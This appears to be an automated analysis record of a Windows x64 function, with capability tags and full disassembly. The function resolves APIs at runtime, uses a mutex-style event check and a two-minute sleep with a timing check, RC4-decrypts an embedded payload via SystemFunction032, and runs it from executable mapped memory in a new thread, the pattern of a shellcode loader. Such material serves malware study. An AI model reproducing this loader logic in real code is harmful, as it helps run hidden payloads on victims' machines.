Function at 0x140001000
Capabilities:
Encrypt data using rc4 via systemfunction032
Get hostname
Link many functions at runtime
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.CreateThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.ExitProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.Sleep
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.GetTickCount
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
call r12
lea rcx, [0x140002090]
mov r14d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.CreateEventW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140002090]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.GetLastError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [0x1400022c0]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rsi, rax
call rbx
test eax, eax
je 0x140001124
call rsi
cmp eax, 0xb7
jne 0x140001124
xor ebp, ebp
lea r8, [0x140001680]
mov qword [rsp + 0x28], rbp
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebp
xor ecx, ecx
call rdi
call fcn.140001440
jmp 0x140001412
xor ebp, ebp
lea r8, [0x140001680]
mov qword [rsp + 0x28], rbp
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebp
xor ecx, ecx
call rdi
xor r9d, r9d
mov qword [rsp + 0x28], rbp
lea r8, [0x1400017b0]
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call rdi
call fcn.140001440
lea rcx, [0x140002090]
mov esi, ebp
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.GetProcessHeap
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140002090]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.HeapAlloc
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call rdi
mov rcx, rax
lea edx, [rbp + 8]
mov r8d, 0xff
call rbx
test rax, rax
je 0x1400011bd
mov dword [rax], 0xa6
mov rsi, rax
cmp dword [rsi], 0x15e
jle 0x14000124c
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowLongPtrW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterClassW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
xor r9d, r9d
mov dword [rsp + 0x28], ebp
xor r8d, r8d
mov qword [rsp + 0x20], rbp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsDialogMessageW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetClipboardData]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SendMessageW]
lea rcx, [0x140002090]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.GetProcessHeap
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140002090]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.HeapFree
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call rdi
mov rcx, rax
mov r8, rsi
xor edx, edx
call rbx
mov ecx, 0x1d4c0
call r13
call r12
sub r14d, eax
cmp r14d, 0x1d4c0
jb 0x140001437
lea rcx, [0x140002090]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.LoadLibraryA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140003110]
mov dword [rsp + 0x30], 0x10
mov qword [rsp + 0x38], rcx
lea r14, section..data
mov esi, 0x110
mov qword [rsp + 0x48], r14
lea rcx, str.Advapi32
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x44], esi
mov dword [rsp + 0x34], 0x10
call rax
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.WaitForSingleObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140002090]
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.CreateFileMappingW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140002090]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.MapViewOfFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.CreateThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
mov qword [rsp + 0x28], rbp
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
mov r13, rax
lea r8d, [r9 + 0x40]
call rbx
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 0x26]
call rdi
mov rcx, rax
sub r14, rax
nop word [rax + rax]
movzx edx, byte [r14 + rcx]
mov byte [rcx], dl
lea rcx, [rcx + 1]
sub rsi, 1
jne 0x1400013e0
mov qword [rsp + 0x28], rbp
xor r9d, r9d
mov r8, rax
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call r13
mov edx, 0xffffffff
mov rcx, rax
call r12
xor ecx, ecx
call r15
lea r11, [rsp + 0x50]
xor eax, eax
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.140001820
int3